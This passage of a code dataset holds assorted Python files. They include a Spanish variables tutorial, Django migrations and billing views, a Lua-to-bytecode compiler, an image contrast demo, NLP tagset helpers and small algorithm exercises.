valor \nen tiempo de ejecucion, es el nombre que se le asigna a una valor\n'''\n\n'''\nTipos de Datos\n\nint -> 15 , float -> 14.5 long 23L\n\nbool -> True , False\n\nstr -> \"Hola\"\n\nlist [1,3,5]\ntuple = (3,5,65) # inmutables\ndict = {'nombre':'Alfredo','activo':True}\n\n'''\n\n\n# 2 = a # Esto no esta permitido en python\n# x + 3 = 5 # Al lado izquierdo no pueden existir operadores\n\n# Forma comun de declarar una variable\na = 1\nb = 2\nc = a + b\n\n# Asignacion multiple\nx,y = 1,2\n\nz = x + y\n\nprint(z) # Simple Adicion\n\n# Asignacion Simple\nnombre, edad = \"Usuario\", 22\n\n# Asignacion simple\npaterno = \"ap_paterno\"\nmaterno = \"ap_materno\"\n\n# imprimir variables por consola\nprint(\"Nombre \", nombre , \"Edad:\", edad)\n# imprimir variables por consola de forma dinamica con la funcion format()\nprint(\"Nombre {} mi edad {}\".format(nombre,edad))\n# imprimir variables por consola de forma dinamica con el paso de parametros %s\nprint(\"nombre %s mi edad %s\" %(nombre , edad))\n# agregando mas campos a la impresion\nprint(\"Nombre {} mi edad {} paterno {} materno {}\".format(nombre,edad, paterno, materno))\n\n#imprimiendo la variable paterno\nprint(paterno)\n\n#Eliminando la variable paterno\ndel paterno\n\n\n# Try catch lo utilizaremos para silenciar el error de querer imprimir una variable que no existe\ntry:\n\tprint(paterno)\nexcept Exception:\n\tprint(\"no Existe\")\n\n# Podemos declarar una variable con una _ al comienzo\n_paterno = \"Volvemos a crear un variable paracida a paterno\"\nvariable1 = 20\nvariable_numero1 = 10\n# 1variable = 12 Declarando de esta forma nos dara un error\n\n# for = 120 Esta prohibido el uso de palabras reservadas\n\n# Python hace diferencias entre variables con minusculas o mayusculas\nnombre_paterno_materno = \"Juan Garcia Mendez\"\n\nNOMBRE_PATERNO_MATERNO = \"Juan Garcia Mendez\"\n\nprint(nombre_paterno_materno.upper())\nprint(NOMBRE_PATERNO_MATERNO.lower())\n\n# Tipado dinamico \nx = \"Curso Python\"\nprint(type(x)) # Imprimimos para saber que tipo de variable es \nx = 24 # Asignamos otro valor a la variable\nprint(type(x)) # Imprimimos para saber que tipo de variable es \n\n\na = b = 10\nprint(a,b)\n# modificar el valor \na,b = 2,4\nx , y ,z = \"Python\", 10, True\nprint(x,y,z)\n\n","sub_path":"sesion_1/ejercicios/variables.py","file_name":"variables.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"612791725","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('solotodo', '0009_producttyperanking'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Budget',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=255)),\n ('is_public', models.BooleanField(default=False)),\n ('creation_date', models.DateField(auto_now_add=True)),\n ('products_pool', models.ManyToManyField(to='solotodo.Product', blank=True)),\n ('user_profile', models.ForeignKey(to='solotodo.UserProfile')),\n ],\n ),\n migrations.CreateModel(\n name='BudgetEntry',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('budget', models.ForeignKey(to='hardware.Budget')),\n ('ctype', models.ForeignKey(to='solotodo.ProductType')),\n ('selected_product', models.ForeignKey(blank=True, to='solotodo.Product', null=True)),\n ('selected_provider', models.ForeignKey(blank=True, to='solotodo.Store', null=True)),\n ],\n ),\n ]\n","sub_path":"hardware/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"52960582","text":"from . import ast\nfrom .symbol import Local, Global, Free\nfrom .asm import Assembler, Label\nfrom enum import Enum, auto\n\nclass Context(Enum):\n Load = auto()\n Store = auto()\n\nLoad = Context.Load\nStore = Context.Store\n\n\nclass CodegenVisitor(ast.Visitor):\n\n def visit_symbol(self, symbol, asm, context):\n context = {\n Context.Load: 'LOAD',\n Context.Store: 'STORE'}[context]\n\n if isinstance(symbol, Local):\n scope = {True: 'DEREF', False: 'FAST'}[symbol.is_referenced]\n else:\n scope = {Global: 'GLOBAL', Free: 'DEREF'}[type(symbol)]\n\n getattr(asm, f'{context}_{scope}')(symbol.slot)\n\n def visit_exp(self, node, asm):\n self.visit(node, asm, context=Load)\n if type(node) in (ast.ELLIPSIS, ast.Call):\n # TOS = TOS or (None,)\n label = Label()\n asm.JUMP_IF_TRUE_OR_POP(label)\n asm.LOAD_CONST(None)\n asm.BUILD_TUPLE(1)\n asm.emit(label)\n # TOS = TOS[0]\n asm.LOAD_CONST(0)\n asm.BINARY_SUBSCR()\n\n def visit_explist(self, explist, asm):\n if not explist or type(explist[-1]) not in (ast.ELLIPSIS, ast.Call):\n for subnode in explist:\n self.visit_exp(subnode, asm)\n asm.BUILD_TUPLE(len(explist))\n else:\n for subnode in explist[:-1]:\n self.visit_exp(subnode, asm)\n asm.BUILD_TUPLE(len(explist) - 1)\n self.visit(explist[-1], asm, context=Load)\n asm.BUILD_TUPLE_UNPACK(2)\n\n def visit_assign(self, target, asm):\n asm.LOAD_CONST(None)\n asm.BUILD_TUPLE(1)\n asm.LOAD_CONST(len(target))\n asm.BINARY_MULTIPLY()\n asm.BUILD_TUPLE_UNPACK(2)\n for subnode in target:\n asm.UNPACK_EX(1)\n self.visit(subnode, asm, context=Store)\n asm.POP_TOP()\n\n def visit_forloop(self, loopvar, target, body, asm):\n f, s, var = loopvar\n # local f, s, var = explist\n asm.LOAD_CONST(None)\n asm.BUILD_TUPLE(1)\n asm.LOAD_CONST(3)\n asm.BINARY_MULTIPLY()\n asm.BUILD_TUPLE_UNPACK(2)\n for symbol in loopvar:\n asm.UNPACK_EX(1)\n self.visit_symbol(symbol, asm, context=Store)\n asm.POP_TOP()\n\n # while true\n l_before, l_after = Label(), Label()\n asm.emit(l_before)\n # local var_1, ···, var_n = f(s,var)\n for symbol in loopvar:\n self.visit_symbol(symbol, asm, context=Load)\n asm.CALL_FUNCTION(2)\n self.visit_assign(target, asm)\n\n # if var_1 == nil then break\n self.visit(target[0], asm, context=Load)\n asm.LOAD_CONST(None)\n asm.COMPARE_OP(8)\n asm.POP_JUMP_IF_TRUE(l_after)\n\n # var = var_1\n self.visit(target[0], asm, context=Load)\n self.visit_symbol(var, asm, context=Store)\n self.visit(body, asm, break_target=l_after)\n asm.JUMP_ABSOLUTE(l_before)\n asm.emit(l_after)\n\n def visit_function(self, node, name, asm):\n argcount = len(node.pars.value)\n names, varnames, freenames, cellnames, freevars = node.symtable.get_slots()\n\n sub = Assembler()\n self.visit(node.body, sub, break_target=None)\n sub.LOAD_CONST(None)\n sub.BUILD_TUPLE(1)\n sub.RETURN_VALUE()\n\n code = sub.build(\n argcount,\n names, varnames,\n self.filename, name,\n node.lineno, freenames, cellnames)\n\n if freevars:\n for freevar in freevars:\n asm.LOAD_CLOSURE(freevar.parent.slot)\n asm.BUILD_TUPLE(len(freevars))\n asm.LOAD_CONST(code)\n asm.LOAD_CONST(name)\n asm.MAKE_FUNCTION(8)\n else:\n asm.LOAD_CONST(code)\n asm.LOAD_CONST(name)\n asm.MAKE_FUNCTION(0)\n\n @_(list)\n def visit(self, node, asm, break_target):\n for subnode in node:\n self.visit(subnode, asm, break_target=break_target)\n\n def to_boolean(self, asm):\n l1, l2 = Label(), Label()\n # if TOS is None: TOS = False\n asm.DUP_TOP()\n asm.LOAD_CONST(None)\n asm.COMPARE_OP(8)\n asm.POP_JUMP_IF_FALSE(l1)\n asm.POP_TOP()\n asm.LOAD_CONST(False)\n asm.emit(l1)\n # if TOS is not False: TOS = True\n asm.DUP_TOP()\n asm.LOAD_CONST(False)\n asm.COMPARE_OP(8)\n asm.POP_JUMP_IF_TRUE(l2)\n asm.POP_TOP()\n asm.LOAD_CONST(True)\n asm.emit(l2)\n\n @_(ast.File)\n def visit(self, node):\n names, varnames, freenames, cellnames, _ = node.symtable.get_slots()\n asm = Assembler()\n self.visit(node.body, asm, break_target=None)\n asm.LOAD_CONST(True)\n asm.BUILD_TUPLE(1)\n asm.RETURN_VALUE()\n return asm.build(\n 0, names, varnames,\n self.filename, 'main chunk',\n node.lineno, freenames, cellnames)\n\n @_(ast.Function)\n def visit(self, node, asm, break_target):\n name = node.name\n if isinstance(name, ast.Attribute):\n name = name.attr\n elif isinstance(name, ast.Method):\n name = name.method\n\n self.visit_function(node, node.name.id, node)\n self.visit(node.name, asm, context=Store)\n\n @_(ast.FunctionLocal)\n def visit(self, node, asm, break_target):\n self.visit_function(node, node.name.id, node)\n self.visit(node.name, asm, context=Store)\n\n @_(ast.Lambda)\n def visit(self, node, asm, context):\n self.visit_function(node, '', asm)\n\n @_(ast.Block)\n def visit(self, node, asm, break_target):\n self.visit(node.body, asm, break_target=break_target)\n\n @_(ast.If)\n def visit(self, node, asm, break_target):\n self.visit(node.test, asm)\n self.to_boolean(asm)\n l_before, l_after = Label(), Label()\n asm.POP_JUMP_IF_FALSE(l_before)\n self.visit(node.body, asm, break_target=break_target)\n asm.JUMP_ABSOLUTE(l_after)\n asm.emit(l_before)\n self.visit(node.orelse, asm, break_target=break_target)\n asm.emit(l_after)\n\n @_(ast.While)\n def visit(self, node, asm, break_target):\n l_before, l_after = Label(), Label()\n asm.emit(l_before)\n self.visit(node.test, asm)\n self.to_boolean(asm)\n asm.POP_JUMP_IF_FALSE(l_after)\n self.visit(node.body, asm, break_target=l_after)\n asm.JUMP_ABSOLUTE(l_before)\n asm.emit(l_after)\n\n @_(ast.Repeat)\n def visit(self, node, asm, break_target):\n l_before, l_after = Label(), Label()\n asm.emit(l_before)\n self.visit(node.body, asm, break_target=l_after)\n self.visit(node.test, asm)\n self.to_boolean(asm)\n asm.POP_JUMP_IF_FALSE(l_before)\n asm.emit(l_after)\n\n @_(ast.For)\n def visit(self, node, asm, break_target):\n self.visit_symbol(node._forprep, asm, context=Load)\n self.visit_exp(node.start, asm)\n self.visit_exp(node.stop, asm)\n self.visit_exp(node.step, asm)\n asm.CALL_FUNCTION(3)\n self.visit_forloop(node._loopvar, [node.target], node.body, asm)\n\n @_(ast.ForEach)\n def visit(self, node, asm, break_target):\n self.visit_explist(node.iter, asm)\n self.visit_forloop(node._loopvar, node.target, node.body, asm)\n\n @_(ast.Goto)\n def visit(self, node, asm, break_target):\n asm.JUMP_ABSOLUTE(node._label)\n\n @_(ast.Label)\n def visit(self, node, asm, break_target):\n asm.emit(node._label)\n\n @_(ast.Assign)\n def visit(self, node, asm, break_target):\n self.visit_explist(node.value, asm)\n self.visit_assign(node.target, asm)\n\n @_(ast.AssignLocal)\n def visit(self, node, asm, break_target):\n self.visit_explist(node.value, asm)\n self.visit_assign(node.target, asm)\n\n @_(ast.Return)\n def visit(self, node, asm, break_target):\n self.visit_explist(node.value, asm)\n asm.RETURN_VALUE()\n\n @_(ast.Break)\n def visit(self, node, asm, break_target):\n asm.JUMP_ABSOLUTE(break_target)\n\n @_(ast.CallStatement)\n def visit(self, node, asm, break_target):\n self.visit(node.body, asm)\n asm.POP_TOP()\n\n @_(ast.Call)\n def visit(self, node, asm, context=None):\n self.visit_exp(node.func, asm)\n extra_args = 0\n if isinstance(node.func, ast.Method):\n extra_args = 1\n # FIXME for extra_arg\n self.visit_explist(node.args.value, asm)\n asm.CALL_FUNCTION_EX(0)\n\n @_(ast.BinOp)\n def visit(self, node, asm, context=None):\n self.visit_symbol(node._op, asm, context=Load)\n self.visit_exp(node.left, asm)\n self.visit_exp(node.right, asm)\n asm.CALL_FUNCTION(2)\n\n @_(ast.UnaryOp)\n def visit(self, node, asm, context=None):\n self.visit_symbol(node._op, asm, context=Load)\n self.visit_exp(node.operand, asm)\n asm.CALL_FUNCTION(1)\n\n @_(ast.Name)\n def visit(self, node, asm, context):\n asm.set_lineno(node)\n if not node._env:\n self.visit_symbol(node.symbol, asm, context)\n return\n self.visit_symbol(node.symbol, asm, context=Load)\n asm.LOAD_CONST(node.id)\n if context is Load:\n asm.BINARY_SUBSCR()\n elif context is Store:\n asm.STORE_SUBSCR()\n\n @_(ast.ELLIPSIS)\n def visit(self, node, asm, context):\n self.visit_symbol(node.symbol, asm, context)\n\n @_(ast.NIL)\n def visit(self, node, asm, context):\n asm.LOAD_CONST(None)\n\n @_(ast.FALSE)\n def visit(self, node, asm, context):\n asm.LOAD_CONST(False)\n\n @_(ast.TRUE)\n def visit(self, node, asm, context):\n asm.LOAD_CONST(True)\n\n @_(ast.Number)\n def visit(self, node, asm, context):\n asm.set_lineno(node)\n from ..lib.base import tonumber\n asm.LOAD_CONST(tonumber(None, node.n.encode()))\n\n @_(ast.String)\n def visit(self, node, asm, context):\n asm.set_lineno(node)\n asm.LOAD_CONST(node.s)\n\n def visit_fields(self, fields, asm):\n next = 1\n for field in fields:\n if isinstance(field, ast.Field):\n self.visit_exp(node.key, asm)\n self.visit_exp(node.value, asm)\n asm.ROT_TWO()\n else:\n self.visit_exp(field, asm, context=Load)\n asm.LOAD_CONST(next)\n next += 1\n asm.BUILD_MAP(len(fields))\n return next\n\n @_(ast.Table)\n def visit(self, node, asm, context):\n self.visit_symbol(node._luatable, asm, context=Load)\n if not node.fields or type(node.fields[-1]) not in (ast.Call, ast.ELLIPSIS):\n next = self.visit_fields(node.fields, asm)\n asm.LOAD_CONST(next)\n asm.CALL_FUNCTION(2)\n return\n\n l_before, l_after = Label(), Label()\n next = self.visit_fields(node.fields[:-1], asm)\n asm.LOAD_CONST(next)\n self.visit(node.fields[-1], asm)\n asm.GET_ITER()\n asm.emit(l_before)\n # iter -> next -> map\n asm.FOR_ITER(l_after)\n # item -> iter -> next -> map\n asm.ROT_THREE()\n # iter -> next -> item -> map\n asm.ROT_THREE()\n # next -> item -> iter -> map\n asm.DUP_TOP()\n # next -> next -> item -> iter -> map\n asm.LOAD_CONST(1)\n # 1 -> next -> next -> item -> iter -> map\n asm.BINARY_ADD()\n # next+1 -> next -> item -> iter -> map\n asm.ROT_FOUR()\n # next -> item -> iter -> next+1 -> map\n asm.ROT_TWO()\n # item -> next -> iter -> next+1 -> map\n asm.MAP_ADD(3)\n # iter -> next+1 -> map\n asm.JUMP_ABSOLUTE(l_before)\n asm.emit(l_after)\n # next -> map\n asm.CALL_FUNCTION(2)\n\n @_(type(None))\n def visit(self, node, asm, break_target):\n pass\n\n def __init__(self, filename):\n self.filename = filename\n","sub_path":"fml/compile/codegen.py","file_name":"codegen.py","file_ext":"py","file_size_in_byte":11988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"310765708","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='UserProfile',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('about_me', models.CharField(max_length=500)),\n ('fav_language', models.CharField(max_length=6, choices=[(b'?', b'Undecided'), (b'py', b'Python'), (b'c++', b'C++'), (b'c#', b'C#'), (b'java', b'Java'), (b'php', b'PHP'), (b'ruby', b'Ruby'), (b'obj-c', b'Objective-C'), (b'c', b'C'), (b'vb', b'Visual Basic'), (b'javasc', b'Javascript'), (b'perl', b'Perl'), (b'assem', b'Assembly'), (b'r', b'R'), (b'swift', b'Swift'), (b'pascal', b'Pascal'), (b'scala', b'Scala'), (b'go', b'Go')])),\n ('joined_on', models.DateField(auto_now_add=True)),\n ('liked_projects', models.TextField()),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n ]\n","sub_path":"massinform/usermanage/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"113338744","text":"'''\nSimple and fast image transforms to mimic:\n - brightness\n - contrast\n - erosion \n - dilation\n'''\n\nimport cv2\nfrom PIL import ImageGrab\nimport numpy as np\n\n# Image data\n# image = cv2.imread('imgur.png',0) # load as 1-channel 8bit grayscale\nbbox = (0, 0, 800, 600)\npil_image = ImageGrab.grab(bbox=bbox).convert('RGB') \nimage = np.array(pil_image)\ncv2.imshow('image', image)\nmaxIntensity = 255.0 # depends on dtype of image data\nx = np.arange(maxIntensity) \n\n# Parameters for manipulating image data\nphi = 1\ntheta = 1\n\n# Increase intensity such that\n# dark pixels become much brighter, \n# bright pixels become slightly bright\n# newImage0 = (maxIntensity/phi)*(image/(maxIntensity/theta))**0.5\nnewImage0 = (maxIntensity/phi)*(image/(maxIntensity/theta))**3\nnewImage0 = np.array(newImage0,dtype=np.uint8)\n\ncv2.imshow('newImage0',newImage0)\n\n\n# Close figure window and click on other window \n# Then press any keyboard key to close all windows\ncloseWindow = -1\nwhile closeWindow<0:\n closeWindow = cv2.waitKey(1) \ncv2.destroyAllWindows()","sub_path":"contrast.py","file_name":"contrast.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"192647803","text":"#!/usr/bin/env python\n#####################\n# This script defines the BNC tagset and forms a\n# tag dictionary to be used in other scripts\n\n# The BNC tagset\ntagset = ['AJ0','AJC','AJS','AT0','AV0','AVP','AVQ',\\\n 'CJC','CJS','CJT','CRD','DPS','DT0','DTQ',\\\n 'EX0','ITJ','NN0','NN1','NN2','NP0','ORD',\\\n 'PNI','PNP','PNQ','PNX','POS','PRF','PRP',\\\n 'PUL','PUN','PUQ','PUR','TO0','UNC','VBB',\\\n 'VBD','VBG','VBI','VBN','VBZ','VDB','VDD',\\\n 'VDG','VDI','VDN','VDZ','VHB','VHD','VHG',\\\n 'VHI','VHN','VHZ','VM0','VVB','VVD','VVG',\\\n 'VVI','VVN','VVZ','XX0','ZZ0']\n\n# form a dictionary using the tagset\ntagdictionary = dict(zip(tagset,range(len(tagset))))\n\n# BSW is short for Begin Sentence Word, we'll be creating a row for\n# the words that have been used to begin a sentence\nBSW = \"^\"\nBST = len(tagset)\n\n# getcounts returns the list of tag-id(s) in the ambiguity tags \n# and the count(s) to be added as a list of tuple\ndef getcounts( tag ):\n\ttmp = filter(lambda t: t if t in tagset else None,tag.split(\"-\"))\n\treturn map(lambda t:(tagdictionary[t],1.0/len(tmp)),tmp)\n\n# If the current word is also a begin-sentence word\ndef isEndSentence( prevtag, prevword ):\n if prevtag == \"PUN\" and prevword in ['.','?','!',';']:\n return True\n return False\n\n","sub_path":"compare/src/bnc.py","file_name":"bnc.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"283268320","text":"#!/usr/bin/env python\n# encoding: utf-8\n\ndef parseCase(line):\n return int(line.strip())\n\n\ndef solve(caseLine):\n n = parseCase(caseLine)\n if n == 0:\n return \"INSOMNIA\"\n digits = 0x0\n for i in range(1, 1000000):\n kn = i * n\n cn = kn\n while cn > 0:\n digits = digits | (1 << int(cn % 10))\n cn = int(cn / 10)\n if digits == 0x3FF:\n return str(kn)\n\n return \"INSOMNIA\"\n\n\ndef run(inputFile, outputFile):\n fp = open(inputFile, 'r')\n fw = open(outputFile, 'w')\n caseIndex = 0\n count = -1\n for line in fp:\n if (caseIndex == 0):\n count = int(line)\n caseIndex += 1\n else:\n fw.write(\"Case #%d: %s\\n\" % (caseIndex, solve(line)))\n caseIndex += 1\n count -= 1\n if (count == 0):\n break\n fp.close()\n fw.close()\n\n\nif __name__ == \"__main__\":\n run(\"in\", \"out\")","sub_path":"codes/CodeJamCrawler/16_0_1/Alen/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"611857963","text":"# Uses python3\nimport sys\nimport numpy as np\n\ndef optimal_summands(n):\n summands = []\n counter = 0\n while n > counter:\n counter += 1\n n = n - counter\n if n > counter:\n summands.append(counter)\n else:\n summands.append(counter + n)\n\n return summands\n\n\n#optimal_summands(2)\n\n\n\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n n = int(input)\n summands = optimal_summands(n)\n print(len(summands))\n for x in summands:\n print(x, end=' ')\n","sub_path":"programming_assigments/1_toolbox_algorithms/week3/6_prizes_summands.py","file_name":"6_prizes_summands.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"293858621","text":"# Example of iterating of fixed-size records\n#\n# The file 'data.bin' contains 32-byte fixed size records\n# that consist of a 4-digit number followed by a 28-byte string.\n\nfrom functools import partial\nRECORD_SIZE = 32\npath ='5.8 iterating_over_fixed-sized_records/'\n\nwith open(path + 'data.bin', 'rb') as f:\n records = iter(partial(f.read, RECORD_SIZE), b'')\n for r in records:\n print(r)\n print('----')\n\n","sub_path":"src/5/5.8 iterating_over_fixed-sized_records/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"334168845","text":"from credentials import *\nfrom geopy.geocoders import GoogleV3\n\napiKey = credentials[\"key\"]\n\napiObj = GoogleV3(scheme=\"http\")\n\nprint(apiKey)\n\nobj = apiObj.reverse((38.897776, -77.036541))\nprint(obj[0].raw[\"address_components\"])\n\nprint(\"\\n\\n\\n\")\n","sub_path":"playing_with_GoogleAPI.py","file_name":"playing_with_GoogleAPI.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"96446901","text":"# -*- coding: utf-8 -*-\nimport json\nimport logging\nimport random\nimport string\nfrom datetime import datetime, timedelta\n\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import permission_required\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Q, Sum\nfrom django.http import HttpResponse\nfrom django.http import HttpResponseForbidden\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, render\nfrom django.utils.decorators import method_decorator\nfrom django.utils.module_loading import import_by_path\nfrom django.views.decorators.cache import never_cache\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.views.decorators.debug import sensitive_post_parameters\nfrom django.views.generic import TemplateView\n\nfrom ikwen.billing.mtnmomo.open_api import MTN_MOMO, init_momo_payment\nfrom ikwen.billing.orangemoney.wso2_api import init_om_payment\n\nfrom ikwen.accesscontrol.backends import UMBRELLA\nfrom ikwen.accesscontrol.models import Member\nfrom ikwen.billing.cloud_setup import DeploymentForm, deploy\nfrom ikwen.billing.models import PaymentMean, CloudBillingPlan, IkwenInvoiceItem, InvoiceEntry, MoMoTransaction\nfrom ikwen.billing.orangemoney.views import init_web_payment, ORANGE_MONEY\nfrom ikwen.billing.yup.views import YUP, init_yup_web_payment\nfrom ikwen.billing.uba.views import UBA, init_uba_web_payment\nfrom ikwen.billing.utils import get_subscription_model, get_product_model\nfrom ikwen.core.models import Service, Application\nfrom ikwen.core.utils import get_service_instance\nfrom ikwen.core.views import HybridListView\nfrom ikwen.partnership.models import ApplicationRetailConfig\n\nlogger = logging.getLogger('ikwen')\n\nProduct = get_product_model()\nSubscription = get_subscription_model()\n\n\nclass PaymentMeanList(HybridListView):\n model = PaymentMean\n template_name = 'billing/payment_mean_list.html'\n\n def get_context_data(self, **kwargs):\n context = super(PaymentMeanList, self).get_context_data(**kwargs)\n payment_mean_list = []\n for mean in PaymentMean.objects.all().order_by('-is_main'):\n # Ordering by -is_main causes the main to appear first\n if mean.credentials:\n try:\n mean.credentials = json.loads(mean.credentials.strip())\n except:\n mean.is_active = False\n mean.save()\n payment_mean_list.append(mean)\n context['payment_mean_list_all'] = payment_mean_list\n return context\n\n\n@permission_required('accesscontrol.sudo')\ndef set_credentials(request, *args, **kwargs):\n \"\"\"\n Set credentials of a payment mean on an IAO Website\n \"\"\"\n config = get_service_instance().config\n if not config.is_pro_version:\n return HttpResponse(\n json.dumps({'error': \"Operation not allowed\"}),\n 'content-type: text/json'\n )\n mean_id = request.GET['mean_id']\n credentials = request.GET['credentials']\n payment_mean = PaymentMean.objects.get(pk=mean_id)\n try:\n credentials = json.loads(credentials.strip())\n cleaned = {}\n for key, val in credentials.items():\n cleaned[key] = val.strip()\n except:\n return HttpResponse(\n json.dumps({'error': \"Invalid credentials. Could not be parsed successfully\"}),\n 'content-type: text/json'\n )\n payment_mean.credentials = json.dumps(cleaned)\n payment_mean.save()\n return HttpResponse(json.dumps({'success': True}), 'content-type: text/json')\n\n\n@permission_required('accesscontrol.sudo')\ndef toggle_payment_mean(request, *args, **kwargs):\n \"\"\"\n Turn Active/Inactive a payment mean on an IAO Website\n \"\"\"\n mean_id = request.GET['mean_id']\n payment_mean = PaymentMean.objects.get(pk=mean_id)\n if payment_mean.is_active:\n if payment_mean.is_main:\n return HttpResponse(json.dumps({'error': \"Cannot cancel main payment mean\"}), 'content-type: text/json')\n payment_mean.is_active = False\n else:\n payment_mean.is_active = True\n payment_mean.save()\n return HttpResponse(json.dumps({'success': True}), 'content-type: text/json')\n\n\nclass TransactionLog(HybridListView):\n context_object_name = 'transaction_list'\n template_name = 'billing/transaction_log.html'\n html_results_template_name = 'billing/snippets/transaction_log_results.html'\n page_size = 200\n search_field = 'processor_tx_id'\n\n def get_filter_criteria(self):\n criteria = {}\n if getattr(settings, 'IS_UMBRELLA', False):\n criteria['service_id'] = self.request.GET.get('service_id')\n else:\n criteria['service_id'] = getattr(settings, 'IKWEN_SERVICE_ID')\n operator = self.request.GET.get('operator')\n if operator:\n criteria['wallet'] = operator\n status = self.request.GET.get('status')\n if status:\n criteria['status'] = status\n is_running = self.request.GET.get('is_running')\n if is_running:\n criteria['is_running'] = True\n period = self.request.GET.get('period', 'today')\n now = datetime.now()\n if period == 'today':\n start_date = datetime(now.year, now.month, now.day, 0, 0, 0)\n end_date = datetime(now.year, now.month, now.day, 23, 59, 59)\n elif period == 'yesterday':\n yst = now - timedelta(days=1)\n start_date = datetime(yst.year, yst.month, yst.day, 0, 0, 0)\n end_date = datetime(yst.year, yst.month, yst.day, 23, 59, 59)\n elif period == 'last_7_days':\n b = now - timedelta(days=7)\n start_date = datetime(b.year, b.month, b.day, 0, 0, 0)\n end_date = now\n elif period == 'last_28_days':\n b = now - timedelta(days=28)\n start_date = datetime(b.year, b.month, b.day, 0, 0, 0)\n end_date = now\n elif period == 'since_the_1st':\n start_date = datetime(now.year, now.month, 1, 0, 0, 0)\n end_date = now\n else:\n # Using rather 'starting_on' and 'ending_on' to avoid collisions with the\n # default expected GET parameters used in core.HybridListView.get_context_data()\n start_date = self.request.GET.get('starting_on') + \" 00:00:00\"\n end_date = self.request.GET.get('ending_on') + \" 23:59:59\"\n criteria['start_date'] = start_date\n criteria['end_date'] = end_date\n return criteria\n\n def get_queryset(self):\n criteria = self.get_filter_criteria()\n queryset = MoMoTransaction.objects.using('wallets').filter(type=MoMoTransaction.CASH_OUT)\n return self.grab_transactions(queryset, **criteria)\n\n def grab_transactions(self, queryset, **criteria):\n start_date = criteria.pop('start_date')\n end_date = criteria.pop('end_date')\n queryset = queryset.filter(created_on__range=(start_date, end_date))\n self.mark_dropped(queryset)\n if criteria.get('status') == MoMoTransaction.FAILURE:\n criteria.pop('status')\n queryset = queryset.exclude(Q(status=MoMoTransaction.SUCCESS) |\n Q(status=MoMoTransaction.DROPPED) |\n Q(is_running=True))\n return queryset.filter(**criteria)\n\n def sum_transactions(self, queryset, **criteria):\n count_successful, count_running, count_failed, count_dropped = 0, 0, 0, 0\n amount_successful, amount_running, amount_failed, amount_dropped, amount_total = 0, 0, 0, 0, 0\n if criteria.get('status') is None and criteria.get('is_running') is None:\n count_successful = queryset.filter(status=MoMoTransaction.SUCCESS).count()\n aggr = queryset.filter(status=MoMoTransaction.SUCCESS).aggregate(Sum('amount'))\n aggr_fees = queryset.filter(status=MoMoTransaction.SUCCESS).aggregate(Sum('fees'))\n aggr_dara_fees = queryset.filter(status=MoMoTransaction.SUCCESS).aggregate(Sum('dara_fees'))\n if aggr['amount__sum']:\n amount_successful = aggr['amount__sum'] - aggr_fees['fees__sum'] - aggr_dara_fees['dara_fees__sum']\n count_running = queryset.filter(is_running=True).count()\n aggr = queryset.filter(is_running=True).aggregate(Sum('amount'))\n if aggr['amount__sum']:\n amount_running = aggr['amount__sum']\n count_failed = queryset.exclude(Q(status=MoMoTransaction.SUCCESS) |\n Q(status=MoMoTransaction.DROPPED) |\n Q(is_running=True)).count()\n aggr = queryset.exclude(Q(status=MoMoTransaction.SUCCESS) |\n Q(status=MoMoTransaction.DROPPED) |\n Q(is_running=True)).aggregate(Sum('amount'))\n if aggr['amount__sum']:\n amount_failed = aggr['amount__sum']\n count_dropped = queryset.filter(status=MoMoTransaction.DROPPED).count()\n aggr = queryset.filter(status=MoMoTransaction.DROPPED).aggregate(Sum('amount'))\n if aggr['amount__sum']:\n amount_dropped = aggr['amount__sum']\n aggr = queryset.aggregate(Sum('amount'))\n if aggr['amount__sum']:\n amount_total += aggr['amount__sum']\n count_total = queryset.count()\n meta = {\n 'total': {'count': count_total, 'amount': amount_total},\n 'successful': {'count': count_successful, 'amount': amount_successful},\n 'running': {'count': count_running, 'amount': amount_running},\n 'failed': {'count': count_failed, 'amount': amount_failed},\n 'dropped': {'count': count_dropped, 'amount': amount_dropped},\n }\n return 